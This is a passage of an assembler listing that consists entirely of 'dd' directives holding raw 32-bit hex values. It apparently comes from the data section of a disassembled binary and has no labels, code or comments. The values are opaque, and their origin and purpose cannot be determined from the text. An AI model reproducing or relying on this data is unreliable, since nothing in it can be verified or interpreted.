		dd 26188053h, 0C9002870h, 2C5F754Bh, 1D1257A5h,	5F2E3608h
		dd 0DC40EDFCh, 1473C7AEh, 17916509h, 1E9C0106h,	0CF20203Bh
		dd 98020038h, 248FEC2Ah, 0F300A2B6h, 4CFE3A0Dh,	1CAEB76Eh
		dd 0FF48F2h, 5069CBB2h,	900F8A2h, 96842E8Ah, 98DB4341h
		dd 18660310h, 2B30FA2Fh, 0C7F46803h, 809248C5h,	26EF6193h
		dd 9089865h, 5CC93B47h,	0FA847083h, 0A96FE100h,	6CF4119h
		dd 339F0EB8h, 9000DC6Ah, 0E5297C8Ah, 0C6D1272Eh, 0F69D8402h
		dd 0E7F8CB73h, 0B8B51AF3h, 749BC2C6h, 0B677482h, 37D72751h
		dd 39A1C4E0h, 5F96E601h
		dd 47B4CE92h, 0BB519D0h, 1A68E402h, 0FA9B7020h,	822E6573h
		dd 621D1E42h, 0E26C9400h, 72E54EF5h, 0D5DA00B4h, 0E632A179h
		dd 44A3EF9Ch, 0A37AC5A8h, 28C67228h, 4296BF0Ah,	0EF0090EBh
		dd 0B18D7AB5h, 8089FFE2h, 25009ACDh, 0C84289ADh, 37DA2900h
		dd 0EC11FF4Fh, 13B11F66h, 8A8C403Ah, 2BC247DEh,	0DC6ECE7h
		dd 0ADFE3200h, 0A96E16EAh, 8E52C0D9h, 0A8BFDE2Eh, 0AFE54A04h
		dd 0AE4F0Eh, 9215BDFDh,	0CB004861h, 0B63D916Dh,	0C02C82B1h
		dd 0B36374A9h, 0F0009DD9h, 61F24F41h, 74C120Bh,	0EC0A8490h
		dd 40DEB594h, 4B3E1AF4h, 2000F6B2h, 0ED615473h,	1ECCF7FFh
		dd 19C65BDh, 0A4E7844Dh, 6000D39Eh, 9436A3B8h, 302F32E6h
		dd 4779187Fh, 84A0BADFh, 0B600697Ch, 15037E65h,	14C4E5B3h
		dd 0D0D4B2D1h, 989B2C02h, 0AC5454E3h, 0A9029C80h, 0AD48DFh
		dd 0F8A45327h, 0ED982CD7h, 0FA9D7800h, 59FFAC51h, 6DD06C6h
		dd 0C1D64FE6h, 30984700h, 0D9F8B26Fh, 5A3900AEh, 4C67F583h
		dd 4A3C09C2h, 0CC1080EDh, 27D051BCh, 0B47A0756h, 800D1A5Dh
		dd 0FC954761h, 0A194B900h, 0A3B7E44Fh, 0FA600350h, 347FAF5Ch
		dd 0CB56E107h, 9E715836h, 0E7E4C9A3h, 9DAE00E4h, 2EAD69BDh
		dd 20925DB7h, 365C5918h, 60902F39h, 96ED1964h, 0F9C02E55h
		dd 8F159A98h, 85B3DC3h,	0E34F7E0Ch, 0F8007DD9h,	0B84E096Eh
		dd 0D5AA2A9h, 0AD97FBBDh, 0DBE63048h, 0A35CF900h, 92F53891h
		dd 37AA00B9h, 2397BA09h, 0F026065h, 3E6910C6h, 1404B5C9h
		dd 4461C44h, 0ADC3C1BAh, 108068D1h, 162C54Dh, 5F60E703h
		dd 0BA499E21h, 0B71B3073h, 0F70D2D39h, 0F9723100h, 61A89D6h
		dd 756D0049h, 0C2B824E7h, 0C31D0838h, 1E80E28Ah, 3CF410D1h
		dd 83D93944h, 68C8A980h, 1640BE92h, 0DD89BB06h,	0F27042B7h
		dd 0F5A201D8h, 793A5688h, 0C8A4C007h, 0FDF26905h, 1E834637h
		dd 0C9201DD2h, 0F46E459Ch, 0F82038D7h, 0BA12CC46h, 9D6820C1h
		dd 0AB20E11Ah, 0B5BB00D1h, 4F01402Ch, 2F150FC0h, 0A8CF44Eh
		dd 88453F03h, 86B084A1h, 5EA54Dh, 5BF79790h, 0B4742F72h
		dd 7EF9241Dh, 0EF2C4F80h, 6C1E883h, 0FD4CB83Eh,	88DC4843h
		dd 952905A2h, 80825328h, 0F7F5CCEAh, 260694E0h,	92594449h
		dd 21B040h, 0B8A371C5h,	83C48ADBh, 0E500CB7Ah, 0D83C34EEh
		dd 0A6290FFh, 0D44FB856h, 33608CF0h, 84F0D3B9h,	0EF79FD03h
		dd 0A9ADAA7Bh, 0BFC85AA5h, 3F040086h, 0D8831E76h, 0A0A0CAFEh
		dd 0BA61ED03h, 0B2CCB749h, 0E81ED4h, 0CA40C7BCh, 8796249Ch
		dd 6423139h, 0BBED6ADBh, 358F0131h, 176B7CCDh, 5A9D60CAh
		dd 890403E2h, 0A066633Eh, 8EED0C82h, 334EDD54h,	0E49A33Fh
		dd 0FA73C96Dh, 5CC5B1FCh, 8012509Ah, 0D51EEB27h, 0E866908Ch
		dd 0BABD4448h, 81D3AD20h, 702252B4h, 0B9F36A04h, 700F5E83h
		dd 210DE9BCh, 5742034Ch, 54007422h, 53170876h, 5C92B9A9h
		dd 0C0ED49C6h, 4F253C41h, 33DA0580h, 15716236h,	513D5330h
		dd 63D8BA11h, 0C9AE39B6h, 0C63F7909h, 80B4803Ah, 1F6E7C90h
		dd 0C10516C7h, 86179CE0h, 0D28C4074h, 0C2812399h, 0C0068A10h
		dd 87409301h, 4C71513Ah, 126FA020h, 1D763Eh, 895BE678h
		dd 0FC60AE56h, 0BA437B71h, 23DFC92h, 0C7B33357h, 5240E97Ch
		dd 360185B8h, 4E90DAE7h, 50835710h, 15452F05h, 0E118F100h
		dd 4D6B2C9Dh, 0D1CE601Ch, 0ED0DBF7Ah, 570352F2h, 67DEC85Eh
		dd 73401E4Dh, 0F218DCB0h, 0BC841DC0h, 0C9168626h, 64FE6F00h
		dd 116245DAh, 44320F47h, 0F2E27D50h, 55033528h,	10CFCBEh
		dd 7A002389h, 0D2E2899Ah, 0F9833AA3h, 39704730h, 2A001492h
		dd 8EB89693h, 0D0036C44h, 0AE72C2B0h, 2F410005h, 0F77CC29h
		dd 0A7703599h, 0C6564200h, 0D7AC2A9Bh, 0B6A00267h, 32602627h
		dd 3AA70448h, 4904B700h, 7AAE7DDAh, 0CE800019h,	5DFAC3DEh
		dd 8305EED2h, 63C7E86Ah, 86A1BC00h, 0DF0B44h, 339EC2AFh
		dd 19939695h, 9F843550h, 0CB444A13h, 0BC0B044Ah, 901F03C4h
		dd 3B587768h, 2E0B8098h, 70A3B192h, 0C3D507Fh, 0BC4CE927h
		dd 30008C6Fh, 0F9935E8h, 26B889E4h, 97F92D3h, 7C016DC5h
		dd 23693D4h, 262887E8h,	0A7BEED12h, 9607DD4h, 0E3056F8h
		dd 25FF4016h, 61E1D8A1h, 0D4683026h, 41B4C051h,	8CDD51B4h
		dd 513A6049h, 0D79100EFh, 4924E301h, 0E62618B7h, 12C02C0Bh
		dd 1D5E11Dh, 0A36EF04Bh, 0DC92529Eh, 0A9242C94h, 8C12CA4h
		dd 5062502Fh, 0F3E86E00h, 0A46D7547h, 0B9098893h, 0AECC90B0h
		dd 9206h, 0D918361Eh, 74C33BA2h, 0FD43F401h, 0AFBA4F1Ah
		dd 0B808F022h, 98A6790h, 193A98A5h, 4921CC1Dh, 0FFD1C0h
		dd 4C7C98B5h, 1DE7DA2Ch, 0A5D00A00h, 444D267Dh,	1BF0A903h
		dd 0A13903EFh, 0B137B5D6h, 146C6FCAh, 1C70441Dh, 0F58A0FA2h
		dd 31A08793h, 9239847Ah, 49834FCh, 0CA86400h, 2E27D2BAh
		dd 75791C8Fh, 26C32CA9h, 40CF4448h, 0B4629E37h,	0AF280FA8h
		dd 3482759Ch, 4C41D844h, 0B78471Bh, 0D4E52300h,	20932823h
		dd 4411FC26h, 30260A16h, 7C3D9700h, 0CF348900h,	4E62416Dh
		dd 14640556h, 4EFFAFE0h, 0ED6005D0h, 0D7F2858Ah, 4D08D00h
		dd 0D8C08281h, 98F43F21h, 601848C9h, 0CB266955h, 24B6A93Fh
		dd 171194CAh, 0CDC0B44Ch, 5ABCB972h, 0E5D83Fh, 5EE6527Fh
		dd 59D16F4h, 60197175h,	9EEC903Ch, 0C36286B8h, 6004E8B9h
		dd 9957A142h, 8299802Ch, 66F4C319h, 30AB800h, 0D040B6C6h
		dd 73F2749Bh, 0AFAE1245h, 0F75C6072h, 0BA02E32Fh, 0A4874784h
		dd 22AB40A1h, 0B9D42E0Ch, 1EBCC82Ch, 2C946460h,	0D8D502A0h
		dd 8527BA1Ch, 405D5870h, 20B83F2Eh, 0CB89B2B9h,	24994927h
		dd 66F86126h, 35A21258h, 7180B437h, 7159C4Eh, 76DC794Fh
		dd 0C2BA1281h, 0E94C108Ah, 0D2D64C07h, 3864AE43h, 0B11BB900h
		dd 0A4F47A81h, 8B4C9993h, 0A8101CF6h, 0C00C427h, 16D5F6Ah
		dd 24AE0D7Ah, 4374BEB9h, 51784BB8h, 0F67E64B2h,	3B51B0B2h
		dd 0D68C4C58h, 0AB608B05h, 5CC1396Bh, 0A4315AA1h, 0E2799C02h
		dd 51990C70h, 749161h, 8856C6AAh, 7C0068A6h, 0E59DC077h
		dd 10E5466h, 0A7F1E838h, 0A9323B9Eh, 278A24F8h,	0B7646C90h
		dd 997ACC40h, 0E50079CDh, 0F83CE2E9h, 6F501h, 5B7E75C1h
		dd 4E75F6Dh, 909193Ah, 0B008212Eh, 1D5600Ch, 0C08B5A51h
		dd 66C1BC81h, 809D230Ch, 23E6BA1h, 79481327h, 0A16C008h
		dd 913C8Ch, 0EB93B025h,	4EB6CFFAh, 2B9C5119h, 20366CB8h
		dd 0B0BA9B04h, 0CEAE45CFh, 4785C041h, 0E0F4993Ah, 786E04E2h
		dd 88382E76h, 0B854ED7Ch, 0A4015FACh, 0B7A112BEh, 64D82BF6h
		dd 0B50706CBh, 0C86DACD3h, 5C605322h, 0D48080EAh, 0B5D5AA39h
		dd 0BCBBAC15h, 952980E0h, 4028Fh, 4CB615CBh, 763F0892h
		dd 1C323504h, 0B4C852B9h, 0D46C54F7h, 50DB4DBCh, 0E00CE22h
		dd 120331A3h, 0AEFD65F4h, 982E58E0h, 0E3AF27F1h, 0FB07E901h
		dd 85F673B0h, 16F3006Eh, 53829A22h, 65C09B03h, 86AEB98Ch
		dd 47E60031h, 0BB18851Dh, 0DD78195Ch, 31DA2602h, 0CDC87C80h
		dd 730982B8h, 0C60352Bh, 38947297h, 0F6A2901Fh,	604CB1D8h
		dd 5305247h, 0F966C700h, 566E1978h, 84365CA2h, 89153A08h
		dd 0CCE9FF18h, 2DED0BA8h, 0D016005h, 0DF6FFC1Ch, 2A178BF8h
		dd 2F0EC705h, 8C21C84Ch, 9E114140h, 0E907626h, 0A16DA288h
		dd 71BBE890h, 7D6C828h,	4BF92520h, 52B8B001h, 61C98CB7h
		dd 0FEF512Fh, 0EE865E38h
		dd 0B768FA80h, 0E1256E9Eh, 1B58876Ch, 2DC1EF30h, 97289452h
		dd 6C843221h, 0B81B8C68h, 82FA8CA8h, 80A82938h,	0EEE99F94h
		dd 2634F38Bh, 0C0C056FBh, 0E5BA3010h, 0E86B800Eh, 8902124h
		dd 8DC01F9Ch, 6E2900C4h, 95AD5431h, 262CC577h, 2D618013h
		dd 9049F73Ah, 1B1248EDh, 0C500D852h, 5398978Eh,	0E8B48Dh
		dd 60AB513Dh, 8F0A686Ch, 0AB4CB825h, 60100858h,	0F3BA5900h
		dd 708B91Fh, 7D674FF2h,	0D252E098h, 1893B107h, 0A2CCE301h
		dd 0A8486068h, 889D00CAh, 32CF0641h, 77396385h,	88945802h
		dd 0F7398F3Ch, 5A0F9AC0h, 504C5505h, 29881010h,	145F28h
		dd 43C77653h, 34D0D626h, 80ECA74Dh, 0BE4CA401h,	0CEA03E9h
		dd 6321E135h, 4D2E3F80h, 3D80454h, 86D03C58h, 0F9E9512Dh
		dd 1E9EA858h, 0C537548Bh, 20081828h, 0BBBA2174h, 29047C91h
		dd 11EC3E8h, 70D3D6B9h,	8942893h, 0A868D286h, 0CC14E59Ch
		dd 59007174h, 0EDE8C05Ch, 249D0DDFh, 12941C6Ch,	0B818C0A5h
		dd 1CA1BC95h, 22C5103Bh, 0DC1C0474h, 0B304E548h, 82140270h
		dd 41FE4AD8h, 0A997212Ch, 9CEE069Dh, 0D896E0E7h, 882A0408h
		dd 50A6B9C3h, 6011BF11h, 78020258h, 0B0C12628h,	0A3FCB8h
		dd 0FBDF065Eh, 152A03CEh, 0E002748h, 2ABA7F5Fh,	29042CC4h
		dd 0B640C1EDh, 0F2654752h, 30410E02h, 64AEA508h, 163D0070h
		dd 53588671h, 0A7022510h, 9C0A1ACh, 1124738Ch, 370779B9h
		dd 95BDB41h, 0BE45E030h, 0E6730E3Dh, 420680A0h,	9E12C977h
		dd 9444CDAEh, 0C0AED253h, 77E3141h, 0A428E850h,	9AB6D404h
		dd 0EF80A946h, 2A3ECB8h, 0D2CFA8DFh, 7C450836h,	1F93C400h
		dd 594CB55Eh, 0EA240CC0h, 48CA400Ch, 850284A0h,	94C052BCh
		dd 4C244236h, 490D6000h, 2E4A6BAFh, 0A9CA467Ch,	4B0024EDh
		dd 25DDB148h, 0D5A8A1A4h, 1A0D9310h, 49007F72h,	0D014DF66h
		dd 19130DEh, 110541C1h,	803F0B5Fh, 5BFB8F60h, 68266Ah
		dd 0B9221D7Bh, 895FB609h, 0ABBA450Bh, 4CF43C72h, 0B080C4AEh
		dd 8AF2841Fh, 0A340E716h, 849E1049h, 74A40784h,	634E88BBh
		dd 0F80FE676h, 40775152h, 0E10DD24Ch, 96E0998Dh, 0E5C307Ah
		dd 91C0370h, 0AF4FBBFAh, 430073C8h, 3169F5ECh, 0C4E70153h
		dd 1EE93560h, 0D132C18Ch, 39E42727h, 75EDC46h, 372E9B05h
		dd 6C591A27h, 0B6081CB0h, 0B0A1BA46h, 0E1333680h, 0E948CCh
		dd 0F2015030h, 7F39B12h, 3B83F0A3h, 0B12C889Ch,	109C844h
		dd 0BF24E4FFh, 0CDFED2ECh, 0DEFD10D5h, 0DF1200B5h, 3AE66C52h
		dd 8D003805h, 0F881C37Ch, 2509BA65h, 0C206035h,	0E9FC4D42h
		dd 7C3F7600h, 7B8C795Ah, 0F2B2ED0h, 0B4EB1530h,	0CD306448h
		dd 273F3081h, 920995E6h, 1435CE17h, 40615A34h, 52CD4A9Ch
		dd 2E00C385h, 4BA2DF02h, 7422F87h, 0C4FF7A32h, 30ECC0AEh
		dd 48B0371Fh, 9A50C102h, 404526D2h, 34F37C28h, 40289DAFh
		dd 0C1B9D99Ch, 413870FEh, 5CC0018h, 6FA26AF8h, 0B726049Fh
		dd 0D11D08h, 82BCC63Eh,	463809AAh, 0F01B3DC0h, 383AA822h
		dd 7700BF86h, 8A9DFCE4h, 8407AC91h, 100D21E8h, 6DC79897h
		dd 99F0EA81h, 9293D832h, 802EBED8h, 1140389Fh, 0DB4203C8h
		dd 3529B68Dh, 622735C7h, 64521BACh, 0E50788A0h,	41CC4C00h
		dd 0FB4A8EA1h, 889B62h,	0FC2E0C02h, 5C2720C2h, 83020EAh
		dd 33835Eh, 61BB9C15h, 2CB31A95h, 0B0ADBF27h, 142FF08h
		dd 465D2178h, 0EBCE0623h, 1468329Dh, 41430321h,	96CE6900h
		dd 0AC35D00Ah, 0BD04D44Eh, 34D2B052h, 27B07903h, 2F01D030h
		dd 8C31525Ah, 0F70B989h, 0A56304A3h, 0DC7FFDBAh, 0B18C9E08h
		dd 65588774h, 43B3B0DCh, 0D8031F42h, 0AECAC383h, 0AFB024BAh
		dd 552740ECh, 710BFE1Dh, 570E6025h, 0E2569700h,	649C3362h
		dd 6EFB5940h, 0C4AA0967h, 1480D721h, 708C07CAh,	5D1FB50Eh
		dd 0D834CA2Fh, 9E251B11h, 0C5B52C10h, 0A998F275h, 0D9B3C800h
		dd 0C1CC5080h, 4FCA013Ch, 0B1A37698h, 703180C7h, 54871CDAh
		dd 0D68A094Dh, 0FE8622A5h, 0E4839148h, 2F38DCD5h, 41F84D35h
		dd 9DFDE081h, 79A8FC4Ch, 0EB600F9h, 67A4A71Ah, 22166299h
		dd 9400088Fh, 2350AD1Dh, 0D02E5460h, 90EA00F8h,	0A0051317h
		dd 0D17A2A31h, 0D9280305h, 0CCA669EBh, 0C54EB883h, 0CBE3790Eh
		dd 0C805F7C6h, 489744E0h, 69566D0Eh, 72D33083h,	0C29DA1BAh
		dd 3F3CAD38h, 0F3040AFFh, 0F63282EAh, 90B00F8h,	0E134FC75h
		dd 777116F1h, 6C008895h, 45279A00h, 6179601Dh, 7EE600D2h
		dd 0BDA9FA31h, 5A12094Eh, 44DA766Dh, 88B8125Ah,	0D39ED80h
		dd 8079B8D4h, 0B1A43A8Fh, 58D226B8h, 2022B02Fh,	56CC90A3h
		dd 7FD8C800h, 0A649B9F5h, 900C23E8h, 98901D12h,	822330h
		dd 5BA5AEAFh, 0ABD9EF5h, 7AD2C601h, 0CC31B95Fh,	0F42104FDh
		dd 0B2C820F6h, 3D01608Dh, 0B0AD29F4h, 5468664Bh, 0B2452DC4h
		dd 273F2364h, 40A9019h,	0C30724F2h, 64C4722Ch, 862708A7h
		dd 51CC472Dh, 48163030h, 0F1742C4Fh, 2E84646Ch,	0DC6D0A43h
		dd 0F85952h, 35AA93D4h,	0A00BD990h, 182B914Dh, 3C5E3A44h
		dd 0B39E8E0Eh, 110C80E1h, 9ED1046Fh, 0B6057279h, 1C89A1DAh
		dd 76F8C8h, 65D294F6h, 5696B0E3h, 0C60EE2FCh, 0CCAEF2CEh
		dd 0C529B5h, 0FDB0D647h, 0BEA5ACE0h, 850A5D00h,	0E66EC449h
		dd 0CEB12C97h, 3B03C10Ch, 442D112Ch, 204FF822h,	575C41E8h
		dd 46A7E900h, 8C4581E7h, 3C61222h, 0CA9C1379h, 0B8B91144h
		dd 4008AE26h, 5E20B60Ch, 0DCF7137Ch, 3090231Bh,	40721845h
		dd 2B683100h, 0B01A2A9Dh, 85C75707h, 0C91F1EE2h, 50C630h
		dd 186D9D95h, 0BA85EFD2h, 0AC65D75Ah, 0FB491431h, 28093011h
		dd 0F55EC390h, 654288E6h, 25050082h, 2FD3602Eh,	0D8B9A3CCh
		dd 0CD758840h, 20185FC6h, 9FC762F4h, 0FE812304h, 64F4A626h
		dd 1784B809h, 13FB5B92h, 4050C8E8h, 1928E100h, 76A1E030h
		dd 397C00BDh, 3092AD9h,	29C943E7h, 3F7CE1A0h, 0CB22C833h
		dd 110C94FAh, 0B272784Eh, 1608248Ch, 0BA0F6148h, 2920D2B0h
		dd 0FA2A03h, 0A47E4730h, 0A5FEAB31h, 6135891Eh,	0E95071F0h
		dd 95A900F3h, 0C4970A05h, 9C2573D3h, 7E50447Bh,	723F0025h
		dd 0C05ADEBDh, 6B0B3274h, 80093DC2h, 0E87ED687h, 74355927h
		dd 0C6683096h, 490032CAh, 713115FDh, 2CC676Dh, 0BE04E7A2h
		dd 14D1B9F3h, 111D25BAh, 2D114384h, 60E84C4Dh, 72BC60A0h
		dd 3880D100h, 0D90D53A4h, 87290D2Eh, 29F933A5h,	49B8C4B8h
		dd 6061C0F4h, 3FCA4931h, 0D800A695h, 86904F38h,	3FBEB37h
		dd 0D42CCB50h, 70CAF2A9h, 0DCE7A480h, 41E09CB5h, 0A06C2F45h
		dd 0FD5EA380h, 0BD3C826Fh, 4E630877h, 3A458899h, 7AA09E98h
		dd 39BEF32Eh, 3284352Bh, 920C2A8h, 1690BDE7h, 0C2268685h
		dd 8920CF10h, 5569105h,	0E7938CD1h, 0D8F2B9h, 32B5342Dh
		dd 8D288h, 4EC33DAFh, 0B1055551h, 0BB2598B8h, 0AB49378h
		dd 0DF4F848Ch, 4004E09Ch, 14396DCAh, 5FD708AEh,	8CF8033h
		dd 0C3B0AB21h, 0D8190100h, 0C5E16432h, 85AC2711h, 6D1D3819h
		dd 227C9408h, 61B83D57h, 4104CAFh, 71E25F8Ah, 0E30FE200h
		dd 7C2FABC4h, 1326206Ah, 91472900h, 66D3A0FEh, 82BF994h
		dd 9350C514h, 0FF7D1EB1h, 0D6E94038h, 5C3405Eh,	5A1E347Fh
		dd 1E474BA0h, 0FBF03577h, 12E86DD5h, 28716BF1h,	395060B0h
		dd 853C2E7Ch, 0BD1905EFh, 48C00A33h, 293B8D6Dh,	97C70D4h
		dd 98657430h, 808C5F01h
		dd 0F198B41Ch, 8D741E3Dh, 0ACC29700h, 0E21EC795h, 7A170481h
		dd 0B4D07B6Fh, 2E44E79Ch, 340B11Bh, 6F7959FDh, 0D47325A9h
		dd 88A1895Dh, 0CC2209D1h, 0F9324600h, 8E67B17h,	51064316h
		dd 93F6C60h, 0D23B332Fh, 0D5F8DF31h, 6030352Dh,	25337934h
		dd 0E62E032Fh, 0A9E701D7h, 8311CFA8h, 0F3730E00h, 0ABAA3179h
		dd 19932633h, 52B8C10Ch, 97834B6h, 0D20380A6h, 0ECAF8053h
		dd 982AD82Dh, 0A37F00E4h, 5EAC9E51h, 0A2E693Ah,	2438C1Dh
		dd 0C154E108h, 946660h,	0A0F3E363h, 90151F8Eh, 2450760Bh
		dd 2D0CB8B6h, 9E84A43Bh, 0A7609B8h, 93873001h, 48AC68EEh
		dd 745C00E4h, 3C5EB5F0h, 9C20F93Fh, 0B90840BDh,	0A2813CB1h
		dd 0C5882C4Ch, 20781872h, 0D09E4236h, 1F5BBF40h, 0F6D200B6h
		dd 26E0D413h, 237D3BD6h, 2B2A1502h, 5309C69Bh, 2F020E90h
		dd 0BC9721FDh, 98ECE0C9h, 1A4005EDh, 0B3472E74h, 4BB846A8h
		dd 87BC848Ch, 188D7412h, 7BC202Eh, 0C43C83F5h, 0BBB9807Eh
		dd 55E4FA43h, 764F004Dh, 0CAB28F90h, 0F32F69CEh, 0E834A0AFh
		dd 487E39EBh, 3122406Dh, 0E48B9D2Ch, 6E299860h,	0E12417E8h
		dd 2BD430BEh, 6D171AB7h, 8C0083B6h, 6CAADC05h, 6C1B9728h
		dd 74CF8C2Ch, 51433C62h, 0BA350E04h, 99D2D034h,	0C20FAB8h
		dd 0C02395C4h, 0AAF950C0h, 0E05DA1CCh, 0CDB01168h, 0C351B809h
		dd 453A24D1h, 5F10841h,	0FCE305h, 89E1A0B4h, 129E276Ch
		dd 3AA1452h, 3402A430h,	90F29Ch, 0B72F0308h, 241CFD50h
		dd 4380AD6h, 0F282ED9Fh, 14130038h, 196543E1h, 4E2E2C37h
		dd 3CEC25CCh, 0CB847400h, 50EED520h, 200093A6h,	413E2290h
		dd 0D8AFBC01h, 4FB8A439h, 6D2449BEh, 40C2E400h,	0FF8D3C70h
		dd 0F4E25C19h, 0E0A2D088h, 0A0090E13h, 93949881h, 112F3F11h
		dd 0C22472Dh, 0D441527Ch, 64381826h, 924F090Eh,	0F24D1D8h
		dd 0AEE03BD7h, 918436F7h, 34ADA900h, 4CE3DF45h,	0C190C838h
		dd 770E4A5h, 58E07985h,	4F0C203Fh, 0D901FAF6h, 5107DEB9h
		dd 74E9E96Fh, 0DFA020h,	91B756Eh, 0AED87CC5h, 3234C0Eh
		dd 84985632h, 8A524A2Dh, 0C40D0094h, 44D91236h,	0C76C164Fh
		dd 162D00F3h, 3BE7AA99h, 5214E8B3h, 7600DDB8h, 11D22E35h
		dd 8ECC5CA9h, 7E501309h, 14C30041h, 60E6F08Ch, 0DAEB924Ch
		dd 0CD0447CEh, 0BBD5BA51h, 628314F8h, 0C793C62Dh, 3C2CD9A5h
		dd 1813C060h, 0EEF636E1h, 442E1455h, 8DD2D0C8h,	0B8018A8h
		dd 6049B928h, 0B8B0702Dh, 8B38CE0h, 5178C3ACh, 4D40BA44h
		dd 1E853CA4h, 71F4CA78h, 0B52F2404h, 0ECB80F21h, 9E008F22h
		dd 9A53FB8Bh, 990E3F02h, 881D4488h, 0E50046E0h,	66FB8463h
		dd 0A6AA38h, 296A81A7h,	0B6D953DDh, 0C8312C02h,	0E0F7AB39h
		dd 38F557DCh, 3D115661h, 4C9E0955h, 0EEBC8BBAh,	293B5E08h
		dd 0CF0FF420h, 98E99D24h, 8647B9E4h, 0C0808462h, 182B4AE5h
		dd 2A327207h, 828B0644h, 0D14D2E5Ch, 90601218h,	0F7261440h
		dd 5EA7F800h, 95E50C76h, 347F07B8h, 494DF25Fh, 79938841h
		dd 0CFC0C00Ch, 780E7498h, 1ED0F689h, 15A62DEFh,	3C2FC1Dh
		dd 40515843h, 28C8394h,	0A88C5EE9h, 4E54D31Ah, 389829E9h
		dd 0B500B177h, 0EFD9BA41h, 2AEEE92Eh, 687257h, 97F25993h
		dd 0FFE6C747h, 468E1F00h, 51392991h, 0DE52FC4h,	0DF26EC80h
		dd 881E2E70h, 4FC40818h, 0ACD0F551h, 8ABAAFB9h,	6D0E3CF1h
		dd 0F2DD6756h, 4C8B2B51h, 9F0D838h, 920926CAh, 0DAB189D5h
		dd 2E9900FCh, 596BD3ACh, 14F2F00Dh, 0D009B87Fh,	0F1BFB178h
		dd 5074004Ch, 0A45673A3h, 714CA900h, 0B52352Eh,	9CB3959Fh
		dd 89879EEBh, 621B8C49h, 0CB10020h, 0BDC5ED21h,	17E30192h
		dd 2B9B84E9h, 26E0CBB0h, 1C076490h, 5BFC745Dh, 20F93494h
		dd 98E41BA2h, 0D137B600h, 46BAB860h, 0DAAA0149h, 3F7E5754h
		dd 0AF7FE867h, 160CCB2h, 4E553AF9h, 0E04A1CC5h,	96AE8197h
		dd 0E4181481h, 0C60E190Eh, 97129D1h, 209C71E9h,	8B920C8h
		dd 68405F4Eh, 0AD05A530h, 0D5901F42h, 36D2C1EBh, 6679F9C0h
		dd 9E9500F4h, 569D426Dh, 88607388h, 4C05813Ah, 0FC1DF499h
		dd 0E448CCA3h, 802150C4h, 0B2653092h, 0C072100Fh, 0E92A0015h
		dd 134E9177h, 0B33BCCBCh, 0D0D711F4h, 7188B849h, 48081A17h
		dd 0C03545B5h, 8B025C55h, 0F8AE8424h, 24A2943h,	2D1AD44Ah
		dd 58D63464h, 9F694208h, 693DD9BAh, 0BA784DA1h,	50304578h
		dd 6DA288C6h, 27C0C404h, 24B45FEEh, 355900BCh, 24802CA0h
		dd 215F5AABh, 0C8A2C065h, 83F38100h, 148AA09h, 0DB9D800h
		dd 3322D605h, 746712C4h, 2F34DC91h, 61BF880Ch, 1CB712Eh
		dd 84F45A2Dh, 0E817FD4Bh, 0E20040D2h, 74376319h, 97ED266Ah
		dd 5DEC2Bh, 3F507577h, 2D84043Ah, 80576D4Dh, 0AA9714F8h
		dd 0C145ACA6h, 0D280407Ch, 2AA04764h, 450DB200h, 4EF128A6h
		dd 0D58F2618h, 0A405C0ECh, 0B9F6DD61h, 8490250Bh, 73D0054Ch
		dd 713282BBh, 1493A859h, 0A87C248Dh, 0F4B1E280h, 0B33D3676h
		dd 10C5AF33h, 27130Ch, 2E5F13Eh, 3D39EB50h, 63345804h
		dd 0D4AC78AAh, 0F962C28Eh, 0F0E166AEh, 227C22CDh, 0B3D30255h
		dd 369AFB12h, 8114006Ch, 0C8FC4AB8h, 6D9D42D5h,	13E69EE0h
		dd 44B890B5h, 0B1CA0CBCh, 0E1C112Ch, 857BE53Fh,	4EFFC1FBh
		dd 0E0847825h, 5D002C8Bh, 6AB67FFDh, 70483CE7h,	45942D3Dh
		dd 5ABAB4h, 0D619C04Ch,	6898C649h, 634534B2h, 18878430h
		dd 61C4ADBAh, 402EB49h,	0F7D944A5h, 2CCCDC43h, 88BC1084h
		dd 154181C3h, 38E76048h, 6D0FC024h, 2A8C49Bh, 6E29B968h
		dd 0ACEE1D3Eh, 80806499h, 27F9CE0Ah, 4CF7828h, 0A9D1463Dh
		dd 5AE0B36Bh, 52BC74D0h, 27389428h, 0D3AE7810h,	57BB0D00h
		dd 5EE2AD41h, 0BF34939Eh, 0D386B98Ah, 223E4ED4h, 70D3AE4Bh
		dd 744F03Ch, 2DEE188Fh,	2EEBBEB3h, 6A16C176h, 74981DB2h
		dd 17458805h, 62DBF702h, 742E3642h, 9C4CEBE4h, 7910CA04h
		dd 5E40BB1Ch, 0EB7A606Ah, 0B22C7700h, 25E2B43Bh, 444C3DD6h
		dd 3A84445Ah, 7C7022FCh, 0CF974014h, 0AC7CD45Ch, 810BC17Bh
		dd 3B8905CCh, 98B0DC54h, 5EB88857h, 0B5F24100h,	0F37D1F46h
		dd 59304827h, 867B3704h, 88C48093h, 0E7486F51h,	8E05C084h
		dd 560C3913h, 0A26E8BCh, 0D308C0C8h, 0E85402FDh, 3F1F5C38h
		dd 0C5D7A3CFh, 1EF61830h, 0C1EB0048h, 16E83E7Bh, 0E0E1FEC8h
		dd 1812396Fh, 5808BF09h, 0D01B934Fh, 67052704h,	0B96BB00h
		dd 4D43CD53h, 2BCB00A7h, 0B70C2026h, 1C166CC3h,	83584B9h
		dd 51095472h, 0FFC9002Ch, 528BF51Bh, 0CE7D4A26h, 0B9CC0D00h
		dd 25A481DBh, 84104EB8h, 0E31FE09Bh, 9513D757h,	2F09B490h
		dd 6EC08B46h, 25B4B31h,	2CE9073h, 8CF5FD49h, 185BDA5Fh
		dd 0A5BE4A08h, 5D079090h, 5FB3A20Bh, 0D0844222h, 49850424h
		dd 926939B5h, 2D2453ECh, 41C8DCE8h, 62254C64h, 84466D10h
		dd 0E500A2EEh, 47D9834Bh, 0B9BD94h, 39BC31BEh, 0BA214068h
		dd 53C4D652h, 0A3CB0084h, 545A4CAFh, 13B10040h,	0C2DB17B4h
		dd 0E526D8B0h, 0B6C40012h, 70909340h, 0AB00B0DEh, 988B9D88h
		dd 90C23F7h, 0AFF8F46Eh, 7B619CC8h, 28EB5500h, 0A9C31838h
		dd 0FE71681h, 0C80C74AAh, 19715C44h, 4B002E74h,	1847F684h
		dd 2577384Dh, 14432572h, 0F31140D4h, 1823DB4h, 0AA057E2Dh
		dd 0F45CD934h, 7D01FE74h, 0F5CF11BAh, 7842532Eh, 1852EDh
		dd 0D27F5893h, 5106B97Ch
		dd 2E023CFAh, 0D5D83FFDh, 0CE90C2BDh, 0B86D0818h, 980CC49h
